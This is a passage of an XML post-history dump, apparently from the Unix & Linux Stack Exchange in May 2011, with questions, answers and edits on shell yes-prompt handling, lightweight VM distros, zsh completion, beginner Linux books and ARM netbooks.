that it was running x86-32 (on a 64bit host) or something else altogether.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;If this were your system what would you do? Do you have any recommendations for a light distros that by default has no UI.&#xD;&#xA;&#xD;&#xA;Thank You" />
  <row Id="33904" PostHistoryTypeId="1" PostId="13590" RevisionGUID="3a2be144-4540-49fe-90c4-fabc1d8be02c" CreationDate="2011-05-22T15:33:45.780" UserId="7669" Text="Really light weight linux for VM no extensions" />
  <row Id="33905" PostHistoryTypeId="3" PostId="13590" RevisionGUID="3a2be144-4540-49fe-90c4-fabc1d8be02c" CreationDate="2011-05-22T15:33:45.780" UserId="7669" Text="élinuxàédebianàésshàéaptàéheadlessà" />
  <row Id="33906" PostHistoryTypeId="6" PostId="13581" RevisionGUID="b540724e-292d-48d9-845c-a934bb948586" CreationDate="2011-05-22T15:36:34.777" UserId="885" Comment="edited tags" Text="écommandöhistoryàétcshà" />
  <row Id="33907" PostHistoryTypeId="2" PostId="13591" RevisionGUID="625488e8-39e4-4458-a44d-4ed86055a35a" CreationDate="2011-05-22T15:42:42.187" UserId="7670" Text="Usability testing of a shell script I wrote found that people had different expectations on how to answer a question that expected ‘yes’ as the answer. See variations in the below code example.&#xD;&#xA;&#xD;&#xA;Surely there must be a better way that what I came up with? What is your *readable* and *shorter form* take on this?&#xD;&#xA;&#xD;&#xA;    read -p 'Answer this question with yes: ' answer&#xD;&#xA;    if [ &quot;$answer&quot; = 'Y'&#xD;&#xA;      -o &quot;$answer&quot; = 'YES'&#xD;&#xA;      -o &quot;$answer&quot; = 'Yes'&#xD;&#xA;      -o &quot;$answer&quot; = 'y'&#xD;&#xA;      -o &quot;$answer&quot; = 'yes'&#xD;&#xA;      -o some-alternate-condition ]; then&#xD;&#xA;&#xD;&#xA;      echo 'Surely this can be written better?'&#xD;&#xA;    fi" />
  <row Id="33908" PostHistoryTypeId="1" PostId="13591" RevisionGUID="625488e8-39e4-4458-a44d-4ed86055a35a" CreationDate="2011-05-22T15:42:42.187" UserId="7670" Text="Better way of accepting variations of ‘Yes’ from a shell prompt" />
  <row Id="33909" PostHistoryTypeId="3" PostId="13591" RevisionGUID="625488e8-39e4-4458-a44d-4ed86055a35a" CreationDate="2011-05-22T15:42:42.187" UserId="7670" Text="ébashàéshellöscriptàépromptà" />
  <row Id="33910" PostHistoryTypeId="4" PostId="13573" RevisionGUID="e34d4b8a-bf6f-47dc-9df2-9e9788c3bdb9" CreationDate="2011-05-22T15:43:00.237" UserId="885" Comment="edited tags; edited title" Text="Why use superflous dash (-) to pass option flags to tar?" />
  <row Id="33911" PostHistoryTypeId="6" PostId="13573" RevisionGUID="e34d4b8a-bf6f-47dc-9df2-9e9788c3bdb9" CreationDate="2011-05-22T15:43:00.237" UserId="885" Comment="edited tags; edited title" Text="éutilitiesàétarà" />
  <row Id="33912" PostHistoryTypeId="6" PostId="13570" RevisionGUID="b10218f0-c82b-4a73-96d3-4a27123e3add" CreationDate="2011-05-22T15:44:33.047" UserId="885" Comment="edited tags" Text="élinuxàéaudioàépulseaudioàéskypeà" />
  <row Id="33913" PostHistoryTypeId="6" PostId="13563" RevisionGUID="5f5129ba-7d84-4093-860b-7f40655d7a82" CreationDate="2011-05-22T15:46:24.730" UserId="885" Comment="edited tags" Text="ézshàélineöeditorà" />
  <row Id="33914" PostHistoryTypeId="6" PostId="8779" RevisionGUID="4cf6db85-5567-47e7-a097-302d49bca710" CreationDate="2011-05-22T15:47:48.867" UserId="885" Comment="edited tags" Text="ézshàéconfigurationà" />
  <row Id="33915" PostHistoryTypeId="5" PostId="12288" RevisionGUID="2a5247cb-f84d-4297-a2f7-9f511da25e7e" CreationDate="2011-05-22T15:48:32.937" UserId="885" Comment="deleted 14 characters in body; edited tags" Text="Currently ZSH displays a menu when I first hit tab and the completion is ambiguous. So, if I have 'cd ' in the command prompt and I hit tab, it will show the different available completions. If I hit tab again, it will select the first available completion. &#xD;&#xA;&#xD;&#xA;I would like to merge these two steps into a single press of the tab key. So, if I'm at 'cd ' and I tab, I would like ZSH to insert the first available match (when ambiguous) and display the menu, which I can then tab through if the first match wasn't the directory I had in mind.&#xD;&#xA;&#xD;&#xA;The ZSH setup tool put this in my .zshrc, in case any of this is affecting the behavior of my shell:&#xD;&#xA;&lt;pre&gt;&#xD;&#xA;zstyle ':completion:*' completer _expand _complete _ignored&#xD;&#xA;zstyle ':completion:*' list-colors ''&#xD;&#xA;zstyle ':completion:*' list-prompt %SAt %p: Hit TAB for more, or the character to insert%s&#xD;&#xA;zstyle ':completion:*' matcher-list 'm:{[:lower:][:upper:]}={[:upper:][:lower:]}' '' 'm:{[:lower:][:upper:]}={[:upper:][:lower:]}'&#xD;&#xA;zstyle ':completion:*' menu select=5&#xD;&#xA;zstyle ':completion:*' select-prompt %SScrolling active: current selection at %p%s&#xD;&#xA;zstyle :compinstall filename '/home/robb/.zshrc'&lt;/pre&gt;" />
  <row Id="33916" PostHistoryTypeId="6" PostId="12288" RevisionGUID="2a5247cb-f84d-4297-a2f7-9f511da25e7e" CreationDate="2011-05-22T15:48:32.937" UserId="885" Comment="deleted 14 characters in body; edited tags" Text="ézshàéautocompleteà" />
  <row Id="33917" PostHistoryTypeId="6" PostId="11771" RevisionGUID="1188a011-f219-4572-bf7c-4cb28855d388" CreationDate="2011-05-22T15:48:48.103" UserId="885" Comment="edited tags" Text="ézshàéconfigurationàéxfceà" />
  <row Id="33918" PostHistoryTypeId="2" PostId="13592" RevisionGUID="1ea09ab7-b7a1-4a09-b34c-e8d16b4c52b8" CreationDate="2011-05-22T15:51:51.050" UserId="7670" Text="I’ve had good experience with **bash Cookbook: Solutions and Examples for bash Users** from O’Reilly. It has got the solutions to actual problems/situations that I have needed to resolve. All the recipes come with a discussion on why it was done this way; and many also has ways it could have been done differently. Case-by-case learning.&#xD;&#xA;&#xD;&#xA;Pretty cheap as an ebook." />
  <row Id="33919" PostHistoryTypeId="2" PostId="13593" RevisionGUID="77a6df63-a044-41d6-a0ce-d6ae28054aee" CreationDate="2011-05-22T15:57:39.620" UserId="5661" Text="Using a `case` is somewhat equivalent but not perfect since statements like `YE` are accepted.&#xD;&#xA;&#xD;&#xA;    read -p 'Answer this question with yes: ' answer&#xD;&#xA;    case &quot;${answer}&quot; in&#xD;&#xA;        [yY]|[yY][eE][sS])&#xD;&#xA;            echo 'Surely this can be written better?' ;;&#xD;&#xA;    esac&#xD;&#xA;" />
  <row Id="33920" PostHistoryTypeId="2" PostId="13594" RevisionGUID="28bd0d54-05af-45da-8d65-e50a5a7224b1" CreationDate="2011-05-22T15:58:40.507" UserId="885" Text="Staying in bash (or any other shell if you display the prompt independently):&#xD;&#xA;&#xD;&#xA;    case $answer in&#xD;&#xA;      [Yy]*) echo Ok;;&#xD;&#xA;      *) echo &quot;Can't you read? I said to say yes.&quot;;;&#xD;&#xA;    esac&#xD;&#xA;&#xD;&#xA;This accepts responses like `yn` as yes, ` y` (with an initial space) as no, and `wlkjzuhfod` as no, which may not be optimal but is consistent with typical shell prompts: that's how `rm -i`, `find -ok` and others do it.&#xD;&#xA;&#xD;&#xA;This eschews the whole issue of internationalization: in other languages, you would need to translate expected responses. There's no standard shell method then; you can turn to [dialog](http://invisible-island.net/dialog/), but then your script will require it to be installed (it's available in many distributions but not always installed by default).&#xD;&#xA;&#xD;&#xA;    if dialog --yesno &quot;Choose yes&quot; 0 0; then …&#xD;&#xA;" />
  <row Id="33921" PostHistoryTypeId="5" PostId="13577" RevisionGUID="528b3f18-b58a-4a9c-92e6-47e080bbda1d" CreationDate="2011-05-22T16:05:57.623" UserId="885" Comment="“one X per answer” is no longer recommended, comprehensive answers are preferable" Text="I have been using Linux for years and have never really felt 100% confident with it. &#xD;&#xA;&#xD;&#xA;I have bought a couple of 'Linux' books and, each time, I am disappointed to read that they are aimed at more advanced users.&#xD;&#xA;&#xD;&#xA;I was about to buy '[Linux Administration: A Beginner's Guide][1]' and, yet again, its introductory page says:&#xD;&#xA;&#xD;&#xA;&gt; A part of the title of this book reads&#xD;&#xA;&gt; &quot;A beginners Guide&quot;; this is mostly&#xD;&#xA;&gt; apt. But what the title should say is&#xD;&#xA;&gt; &quot;A Beginner's to Linux Administration&#xD;&#xA;&gt; Guide&quot;...we assume that you are&#xD;&#xA;&gt; already familiar with Microsoft&#xD;&#xA;&gt; Windows servers at a power user level&#xD;&#xA;&gt; or better.&#xD;&#xA;&#xD;&#xA;In the preamble to [Linux administration handbook (2007)][2] it says&#xD;&#xA;&#xD;&#xA;&gt; We assume in this book that you have a&#xD;&#xA;&gt; certain amount of Linux or Unix&#xD;&#xA;&gt; experience...&#xD;&#xA;&gt; Although a variety of introductory&#xD;&#xA;&gt; Linux books are on the market, we have&#xD;&#xA;&gt; not yet found one that we could could&#xD;&#xA;&gt; recommend without reservation. In&#xD;&#xA;&gt; general you're better off looking for&#xD;&#xA;&gt; the Unix classics.&#xD;&#xA;&#xD;&#xA;So, I am really struggling to find a book that is going to give me the introductory knowledge that is needed to fill in the basics before I go on to read the 'Beginning Linux books'. Perhaps one of the *Unix Classics*, (whatever that might be).&#xD;&#xA; &#xD;&#xA;I am not so interested in becoming a *system administrator*, more of a *lead web developer*&#xD;&#xA;&#xD;&#xA;So, &#xD;&#xA;&#xD;&#xA;**Which book would you recommend to gain enough foundation to learn Linux well enough to be a lead developer?**&#xD;&#xA;&#xD;&#xA;To make this question as objective as possible, in order to be a valid answer:&#xD;&#xA;&#xD;&#xA;- it must be *a book* &#xD;&#xA;- the introduction to the book should not say &quot;we assume the reader is already a power user / experienced in linux / sys admin&quot; &#xD;&#xA;- by reading the book I'd be able to be suitably qualified to read &quot;Linux Administration: A Beginner's Guide&quot;&#xD;&#xA;- it should not be any of the following books that I have already read:&#xD;&#xA; - *Code* By Charles Petzold&#xD;&#xA; - *Code Complete* By Steve McConnel&#xD;&#xA; - *TCP / IP Guide* By Charles M. Kozierok&#xD;&#xA;- it should not be any of the following books, which I own but are aimed at 'advanced users':&#xD;&#xA; - Fedora Linux, Tyler&#xD;&#xA; - Linux in a Nutshell, &#xD;&#xA; - Beginning Ubuntu LTS Server Administration, Sander van Vugt&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.amazon.co.uk/Linux-Administration-Beginners-Guide-Fifth/dp/0071545883&#xD;&#xA;  [2]: http://books.google.com/books?id=GB_O89fnz_sC&amp;lpg=PP1&amp;pg=PA19#v=onepage&amp;q&amp;f=false" />
  <row Id="33922" PostHistoryTypeId="6" PostId="13585" RevisionGUID="863e5902-da5c-4c3b-9e15-b12e9800998e" CreationDate="2011-05-22T16:18:10.200" UserId="885" Comment="edited tags" Text="éx11àéclipboardà" />
  <row Id="33923" PostHistoryTypeId="2" PostId="13595" RevisionGUID="02d2789d-687b-4ac3-9493-7443db43a986" CreationDate="2011-05-22T17:25:41.177" UserId="7671" Text="Is there a way to upgrade from Ubuntu 11.04 to Crunchbang with out a full installation? I'd like to keep the files on the hard-drive intact." />
  <row Id="33924" PostHistoryTypeId="1" PostId="13595" RevisionGUID="02d2789d-687b-4ac3-9493-7443db43a986" CreationDate="2011-05-22T17:25:41.177" UserId="7671" Text="Upgrade from Ubuntu to Crunchbang?" />
  <row Id="33925" PostHistoryTypeId="3" PostId="13595" RevisionGUID="02d2789d-687b-4ac3-9493-7443db43a986" CreationDate="2011-05-22T17:25:41.177" UserId="7671" Text="éubuntuàécrunchbangà" />
  <row Id="33926" PostHistoryTypeId="25" PostId="13591" RevisionGUID="75092fe1-82b5-4b53-b59d-d0f025bbf495" CreationDate="2011-05-22T18:12:33.780" Comment="http://twitter.com/#!/StackUnix/status/72364236763963394" />
  <row Id="33927" PostHistoryTypeId="5" PostId="13590" RevisionGUID="6ac15a57-4ef2-4468-971a-707e5cefc0d3" CreationDate="2011-05-22T18:15:34.170" UserId="688" Comment="deleted 25 characters in body" Text="I need to host a ssh server on a x86-64 Debian squeeze machine with no VT-extensions :(&#xD;&#xA;&#xD;&#xA;I am using virtlib with qemu (set up and working).&#xD;&#xA;&#xD;&#xA;I have tried a number of things and non have been perfect, so I was hoping to draw on your experience.&#xD;&#xA;&#xD;&#xA;I am used to using Debian-based Linux distros, so sticking with them is desirable but by no means critical.&#xD;&#xA;&#xD;&#xA;So far I have tried x86_64 squeeze with no desktop, X, ect. but it is painfully slow. If I `ps aux` at any one time, there are loads of processes running, most of which are idling, but still.&#xD;&#xA;&#xD;&#xA;I have also tried i386 damnsmalllinux in i686 qemu mode, once fluxbox and X had been terminated it was more than fast enough for my needs, but removing the desktop was a bad hack at best. I got it down to only handful of necessary processes which was good.&#xD;&#xA;&#xD;&#xA;So my question is what makes DSL faster, is that it is kernel 2.4 and would installing Woody (Debian 3.0) yield similar results? Or was it that it was running x86-32 (on a 64bit host) or something else altogether.&#xD;&#xA;&#xD;&#xA;If this were your system what would you do? Do you have any recommendations for a light distros that by default has no UI.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="33928" PostHistoryTypeId="5" PostId="13595" RevisionGUID="a76ccf65-4c6e-4ca6-9ad0-cc3e57b354ed" CreationDate="2011-05-22T18:16:25.997" UserId="688" Comment="deleted 1 characters in body" Text="Is there a way to upgrade from Ubuntu 11.04 to Crunchbang without a full installation? I'd like to keep the files on the hard-drive intact." />
  <row Id="33929" PostHistoryTypeId="2" PostId="13596" RevisionGUID="2915066c-af46-4812-b71f-092db3e4890c" CreationDate="2011-05-22T18:28:57.387" UserId="1762" Text="[autocutsel][1] is a lightweight tool that merges the contents of both clipboards. You might also consider using a full-blown clipboard manager, like Shawn suggested.&#xD;&#xA;&#xD;&#xA;  [1]: http://www.nongnu.org/autocutsel/" />
  <row Id="33930" PostHistoryTypeId="5" PostId="1604" RevisionGUID="01a18ba2-1cf0-46c4-8aaa-d6ca4976e9ad" CreationDate="2011-05-22T18:36:16.737" UserId="688" Comment="deleted 7 characters in body; edited title" Text="Is there any patch for Linux kernel to use different memory allocators, such as [ned allocator][1] or [TLSF allocator][2]?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]:http://www.nedprod.com/programs/portable/nedmalloc/&#xD;&#xA;  [2]:http://rtportal.upv.es/rtmalloc/" />
  <row Id="33931" PostHistoryTypeId="4" PostId="1604" RevisionGUID="01a18ba2-1cf0-46c4-8aaa-d6ca4976e9ad" CreationDate="2011-05-22T18:36:16.737" UserId="688" Comment="deleted 7 characters in body; edited title" Text="Kernel memory allocator patch" />
  <row Id="33932" PostHistoryTypeId="2" PostId="13597" RevisionGUID="8d15eafc-ff18-4d9c-8c4f-1b3db8330dd9" CreationDate="2011-05-22T18:37:15.987" UserId="6290" Text="The UNIX standard provides example code for this using the [`locale` utility][1]:&#xD;&#xA;&#xD;&#xA;    if printf &quot;%s\n&quot; &quot;$response&quot; | grep -Eq &quot;$(locale yesexpr)&quot;&#xD;&#xA;    then&#xD;&#xA;        affirmative processing goes here&#xD;&#xA;    else&#xD;&#xA;        non-affirmative processing goes here&#xD;&#xA;    fi&#xD;&#xA;&#xD;&#xA;The value for 'yesexpr' in the `POSIX` locale (and on English locales on real systems) is `&quot;^[yY]&quot;`. It is to be interpreted as an extended regular expression. See also noexpr.&#xD;&#xA;&#xD;&#xA;  [1]: http://pubs.opengroup.org/onlinepubs/000095399/utilities/locale.html" />
  <row Id="33933" PostHistoryTypeId="4" PostId="1763" RevisionGUID="923d418d-b7bc-4f48-916d-670ed6df0c9f" CreationDate="2011-05-22T18:39:34.990" UserId="7670" Comment="This was really useful to me, but the non-descriptive title made it difficult to find." Text="How do I split the $0 variable to find directory and relative paths in bash?" />
  <row Id="33934" PostHistoryTypeId="24" PostId="1763" RevisionGUID="923d418d-b7bc-4f48-916d-670ed6df0c9f" CreationDate="2011-05-22T18:39:34.990" Comment="Proposed by 7670 approved by 73 edit id of 390" />
  <row Id="33935" PostHistoryTypeId="5" PostId="2186" RevisionGUID="b2c96cac-21c5-4039-a006-5540aec32f9f" CreationDate="2011-05-22T18:39:40.527" UserId="688" Comment="edited body" Text="The allocators you mention are *userspace* allocators, entirely different to kernel allocators. Perhaps some of the underlying concepts could be used in the kernel, but it would have to be implemented from scratch.&#xD;&#xA;&#xD;&#xA;The kernel already has 3 allocators, SLAB, SLUB, SLOB, (and there was/is SLQB). SLUB in particular is designed to work well on multi-CPU systems.&#xD;&#xA;&#xD;&#xA;As always if you have ideas on how to improve the kernel, your specific suggestions, preferably in the form of patches, are welcome on LKML :-)" />
  <row Id="33936" PostHistoryTypeId="10" PostId="13587" RevisionGUID="8db53b32-2c7b-4400-a146-cd1f9a492750" CreationDate="2011-05-22T18:41:48.890" UserId="73" CloseReasonId="4" Text="[{&quot;Id&quot;:885,&quot;DisplayName&quot;:&quot;Gilles&quot;},{&quot;Id&quot;:73,&quot;DisplayName&quot;:&quot;Michael Mrozek&quot;}]" />
  <row Id="33937" PostHistoryTypeId="5" PostId="4215" RevisionGUID="450506fc-7aad-4b99-a039-8000c286c0d0" CreationDate="2011-05-22T18:44:50.713" UserId="688" Comment="added 59 characters in body" Text="A process is any running program with its own address space.&#xD;&#xA;&#xD;&#xA;A job is a concept used by the shell - any program you interactively start that doesn't detach (ie, not a daemon) is a job. If you're running an interactive program, you can press &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;Z&lt;/kbd&gt;` to suspend it. Then you can start it back in the foreground (using `fg`) or in the background (using `bg`).&#xD;&#xA;&#xD;&#xA;While the program is suspended or running in the background, you can start another program - you would then have two jobs running. You can also start a program running in the background by appending an &quot;&amp;&quot; like this: `program &amp;`. That program would become a background job. To list all the jobs you are running, you can use `jobs`.&#xD;&#xA;&#xD;&#xA;For more information on jobs, see [this section][1] of the bash man page.&#xD;&#xA;&#xD;&#xA;[1]:http://www.faqs.org/docs/bashman/bashref_77.html " />
  <row Id="33938" PostHistoryTypeId="5" PostId="2196" RevisionGUID="4182d4b5-3089-440a-8a65-f935fec8d31b" CreationDate="2011-05-22T18:54:04.690" UserId="688" Comment="added 3 characters in body" Text="My sound card supports hardware mixing. What's the easiest way to use this feature (rather than on an app-by-app basis, hopefully)?" />
  <row Id="33939" PostHistoryTypeId="2" PostId="13598" RevisionGUID="37abe0a8-a54d-41e0-a142-68d271e0967c" CreationDate="2011-05-22T19:12:01.880" UserId="4949" Text="No, there isn't. &#xD;&#xA;&#xD;&#xA;At best, if you're reasonably neat, you'll be able to keep `/home` intact, but despite the fact that they're both Debian derivatives they're entirely different distributions. &#xD;&#xA;&#xD;&#xA;Your &quot;upgrade&quot; is the rough equivalent of asking whether it's possible to turn a fedora core install into a SuSE one." />
  <row Id="33940" PostHistoryTypeId="5" PostId="2132" RevisionGUID="fe3df25b-d709-4aa6-b293-c5ca468f6342" CreationDate="2011-05-22T19:13:49.517" UserId="688" Comment="deleted 24 characters in body; edited title" Text="I am bored and want to play with a netbook or other small computer. Can anyone recommend something?&#xD;&#xA;&#xD;&#xA;Requirements:&#xD;&#xA;&#xD;&#xA;1. ARM or MIPS CPU&#xD;&#xA;2. Can run Windows CE 6 and/or Linux (preferably dual-boot)&#xD;&#xA;3. Linux distribution must be full-fledged (for the architecture, i.e. no single-user toy GUI)&#xD;&#xA;4. Costs less than 400 Euros (although a cool machine can cost more)&#xD;&#xA;5. Wireless LAN, any speed&#xD;&#xA;6. USB ports, 1.1 or 2.0&#xD;&#xA;7. SD card reader would be nice but is not necessary&#xD;&#xA;8. Slot for SIM card and built-in 3G would be nice but is not necessary&#xD;&#xA;9. If netbook/laptop should run when lid is closed&#xD;&#xA;" />
  <row Id="33941" PostHistoryTypeId="4" PostId="2132" RevisionGUID="fe3df25b-d709-4aa6-b293-c5ca468f6342" CreationDate="2011-05-22T19:13:49.517" UserId="688" Comment="deleted 24 characters in body; edited title" Text="Looking for ARM- or MIPS-based computer (netbook or similar size) to play with" />
  <row Id="33942" PostHistoryTypeId="5" PostId="13577" RevisionGUID="bbacafd4-9de5-4112-ad84-0e428f5006a7" CreationDate="2011-05-22T19:16:47.623" UserId="7638" Comment="added 476 characters in body; added 98 characters in body; deleted 4 characters in body; added 16 characters in body" Text="I have been using Linux for years and have never really felt 100% confident with it. &#xD;&#xA;&#xD;&#xA;I have bought a couple of 'Linux' books and, each time, I am disappointed to read that they are aimed at more advanced users.&#xD;&#xA;&#xD;&#xA;I was about to buy '[Linux Administration: A Beginner's Guide][1]' and, yet again, its introductory page says:&#xD;&#xA;&#xD;&#xA;&gt; A part of the title of this book reads&#xD;&#xA;&gt; &quot;A beginners Guide&quot;; this is mostly&#xD;&#xA;&gt; apt. But what the title should say is&#xD;&#xA;&gt; &quot;A Beginner's to Linux Administration&#xD;&#xA;&gt; Guide&quot;...we assume that you are&#xD;&#xA;&gt; already familiar with Microsoft&#xD;&#xA;&gt; Windows servers at a power user level&#xD;&#xA;&gt; or better.&#xD;&#xA;&#xD;&#xA;In the preamble to [Linux administration handbook (2007)][2] it says&#xD;&#xA;&#xD;&#xA;&gt; We assume in this book that you have a&#xD;&#xA;&gt; certain amount of Linux or Unix&#xD;&#xA;&gt; experience...&#xD;&#xA;&gt; Although a variety of introductory&#xD;&#xA;&gt; Linux books are on the market, we have&#xD;&#xA;&gt; not yet found one that we could could&#xD;&#xA;&gt; recommend without reservation. In&#xD;&#xA;&gt; general you're better off looking for&#xD;&#xA;&gt; the Unix classics.&#xD;&#xA;&#xD;&#xA;So, I am really struggling to find a book that is going to give me the introductory knowledge that is needed to fill in the basics before I go on to read the 'Beginning Linux books'. Perhaps one of the *Unix Classics*, (whatever that might be).&#xD;&#xA; &#xD;&#xA;I am not so interested in becoming a *system administrator*, more of a *lead web developer*&#xD;&#xA;&#xD;&#xA;So, &#xD;&#xA;&#xD;&#xA;**Which book would you recommend to gain enough foundation to learn Linux well enough to be a lead developer?**&#xD;&#xA;&#xD;&#xA;To make this question as objective as possible, in order to be a valid answer:&#xD;&#xA;&#xD;&#xA;- it must be *a book* &#xD;&#xA;- the introduction to the book should not say &quot;we assume the reader is already a power user / experienced in linux / sys admin&quot; &#xD;&#xA;- by reading the book I'd be able to be suitably qualified to read &quot;Linux Administration: A Beginner's Guide&quot;&#xD;&#xA;&#xD;&#xA;**Update in response to:** &#xD;&#xA;Re: “[This is like asking for a book that teaches you how to ride a bicycle.][3]” &#xD;&#xA;&#xD;&#xA;If we were to use that analogy the one answer would be &quot;[The highway code][4]&quot;. Because, although you might have learned to ride a bike in your backyard, its the kind of book you should read *before* you go out onto the main roads. It does not require you have had experience of cycling *before* you read it. And by reading it you avoid the need to run `man redtrafficlight` as you approach a junction.&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;The following are books which I have bought, but discovered that they do not meet the criteria:&#xD;&#xA;&#xD;&#xA; - Fedora Linux, Tyler&#xD;&#xA; - Linux in a Nutshell, &#xD;&#xA; - Beginning Ubuntu LTS Server Administration, Sander van Vugt&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.amazon.co.uk/Linux-Administration-Beginners-Guide-Fifth/dp/0071545883&#xD;&#xA;  [2]: http://books.google.com/books?id=GB_O89fnz_sC&amp;lpg=PP1&amp;pg=PA19#v=onepage&amp;q&amp;f=false&#xD;&#xA;  [3]: http://unix.stackexchange.com/questions/13577/which-book-would-you-recommend-to-gain-enough-foundation-to-learn-linux-well-enou#comment-18179&#xD;&#xA;  [4]: http://www.amazon.co.uk/Official-Highway-Code-Department-Transport/dp/0115528148" />
  <row Id="33943" PostHistoryTypeId="5" PostId="2134" RevisionGUID="ec37fc28-ae2e-4619-bdd4-261c5c054356" CreationDate="2011-05-22T19:17:22.900" UserId="688" Comment="added 176 characters in body" Text="The Wikipedia page &quot;[Netbook][1]&quot; lists several [ARM-based][2]- and [MIPS-based][3] netbooks.&#xD;&#xA;&#xD;&#xA;* &quot;HP Compaq Airlife 100 ... for €230&quot; is apparently &quot;HP's ARM-powered Android netbook&quot; ([two][4] [links][5])&#xD;&#xA;* [ARM netbook sells for $80][6]&#xD;&#xA;* &quot;A Hong Kong-based manufacturer is shipping a Linux-based ultra-mini PC (UMPC) laptop for only $250 ... Based on an &quot;industry standard&quot; RISC-based architecture (possibly MIPS?) the chip reportedly runs Windows CE as well as Linux.&quot; ([link][7])&#xD;&#xA;&#xD;&#xA;You might also look at smartphones and PDAs that run Linux; practically all of them use ARM CPUs, and some version of Linux has been ported to many of them.&#xD;&#xA;&#xD;&#xA;* [Linux PDAs][8]&#xD;&#xA;* [$330 Pandora][9]&#xD;&#xA;* [$175 iKit][10]&#xD;&#xA;* [Psion][11]&#xD;&#xA;* ... somewhere on the Internet I saw a &quot;custom laptop&quot; built out of a PDA running Linux, a full-size PDA keyboard, and a hinge and a few other things to let it fold and unfold like a full-size laptop. For typing text and grepping through text, it ran for days between recharges. Screen was a big small, though. ... I wish I could find a link to it ...&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Netbook#ARM&#xD;&#xA;  [2]: http://en.wikipedia.org/wiki/Netbook#ARM&#xD;&#xA;  [3]: http://en.wikipedia.org/wiki/Netbook#MIPS&#xD;&#xA;  [4]: http://slashgear.com/hp-compaq-airlife-100-arrives-in-spain-for-e230-2983611/&#xD;&#xA;  [5]: http://linuxfordevices.com/c/a/News/HP-Compaq-AirLife-100-on-US-website/&#xD;&#xA;  [6]: http://linuxfordevices.com/c/a/News/Menq-Easypc-E790/?kc=rss&#xD;&#xA;  [7]: http://linuxfordevices.com/c/a/News/Worlds-cheapest-Linuxbased-laptop/&#xD;&#xA;  [8]: http://www.linuxfordevices.com/c/a/Linux-For-Devices-Articles/Linux-PDAs-PMPs-PNDs-and-other-Handhelds/&#xD;&#xA;  [9]: http://linuxfordevices.com/c/a/News/CortexA8-gaming-handheld-runs-Linux/&#xD;&#xA;  [10]: http://linuxfordevices.com/c/a/News/Tiny-clamshell-PDA-runs-Linux/&#xD;&#xA;  [11]: http://wikipedia.org/wiki/Psion#Psion_and_Linux" />
  <row Id="33944" PostHistoryTypeId="5" PostId="2105" RevisionGUID="44e86471-ed03-4565-b812-bc1dfd4bcfaa" CreationDate="2011-05-22T19:19:34.957" UserId="688" Comment="deleted 17 characters in body" Text="I think Mono, and the C# language, are a great, nay, fantastic project.&#xD;&#xA;&#xD;&#xA;My question is: how prevalent is Mono in Ubuntu? How much of a penetration is it getting, and what applications run on it?&#xD;&#xA;&#xD;&#xA;" />
  <row Id="33945" PostHistoryTypeId="5" PostId="2047" RevisionGUID="7cdbd62f-7e09-46c5-bda7-447bf6f47e53" CreationDate="2011-05-22T19:21:09.667" UserId="688" Comment="added 2 characters in body" Text="So I've been a linux user since June 2008. My first distro was Ubuntu.&#xD;&#xA;&#xD;&#xA;I've tried OpenSuSE, Fedora, Mandriva, Linux Mint, Puppy Linux, Damn Small Linux and Arch Linux, and I was thinking about giving BSD a try.&#xD;&#xA;&#xD;&#xA;Which BSD variant should I choose?" />
  <row Id="33946" PostHistoryTypeId="5" PostId="13577" RevisionGUID="ebc1f052-c592-49ab-a520-f3617b18cbe1" CreationDate="2011-05-22T19:22:04.340" UserId="7638" Comment="added 80 characters in body" Text="I have been using Linux for years and have never really felt 100% confident with it. &#xD;&#xA;&#xD;&#xA;I have bought a couple of 'Linux' books and, each time, I am disappointed to read that they are aimed at more advanced users.&#xD;&#xA;&#xD;&#xA;I was about to buy '[Linux Administration: A Beginner's Guide][1]' and, yet again, its introductory page says:&#xD;&#xA;&#xD;&#xA;&gt; A part of the title of this book reads&#xD;&#xA;&gt; &quot;A beginners Guide&quot;; this is mostly&#xD;&#xA;&gt; apt. But what the title should say is&#xD;&#xA;&gt; &quot;A Beginner's to Linux Administration&#xD;&#xA;&gt; Guide&quot;...we assume that you are&#xD;&#xA;&gt; already familiar with Microsoft&#xD;&#xA;&gt; Windows servers at a power user level&#xD;&#xA;&gt; or better.&#xD;&#xA;&#xD;&#xA;In the preamble to [Linux administration handbook (2007)][2] it says&#xD;&#xA;&#xD;&#xA;&gt; We assume in this book that you have a&#xD;&#xA;&gt; certain amount of Linux or Unix&#xD;&#xA;&gt; experience...&#xD;&#xA;&gt; Although a variety of introductory&#xD;&#xA;&gt; Linux books are on the market, we have&#xD;&#xA;&gt; not yet found one that we could could&#xD;&#xA;&gt; recommend without reservation. In&#xD;&#xA;&gt; general you're better off looking for&#xD;&#xA;&gt; the Unix classics.&#xD;&#xA;&#xD;&#xA;So, I am really struggling to find a book that is going to give me the introductory knowledge that is needed to fill in the basics before I go on to read the 'Beginning Linux books'. Perhaps one of the *Unix Classics*, (whatever that might be).&#xD;&#xA; &#xD;&#xA;I am not so interested in becoming a *system administrator*, more of a *lead web developer*&#xD;&#xA;&#xD;&#xA;So, &#xD;&#xA;&#xD;&#xA;**Which book would you recommend to gain enough foundation to learn Linux well enough to be a lead developer?**&#xD;&#xA;&#xD;&#xA;To make this question as objective as possible, in order to be a valid answer:&#xD;&#xA;&#xD;&#xA;- it must be *a book* &#xD;&#xA;- the introduction to the book should not say &quot;we assume the reader is already a power user / experienced in linux / sys admin&quot; &#xD;&#xA;- by reading the book I'd be able to be suitably qualified to read &quot;Linux Administration: A Beginner's Guide&quot;&#xD;&#xA;&#xD;&#xA;**Update in response to:** &#xD;&#xA;Re: “[This is like asking for a book that teaches you how to ride a bicycle.][3]” &#xD;&#xA;&#xD;&#xA;If we were to use that analogy the one answer would be &quot;[The highway code][4]&quot;. Because, although you might have learned to ride a bike in your backyard, its the kind of book you should read *before* you go out onto the main roads. It does not require you to have had experience of cycling *before* you read and understand it. It is not intended as a substitute for hands-on experience. And, by reading it, you avoid the need to run `man redtrafficlight` as you approach a junction.&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;The following are books which I have bought, but discovered that they do not meet the 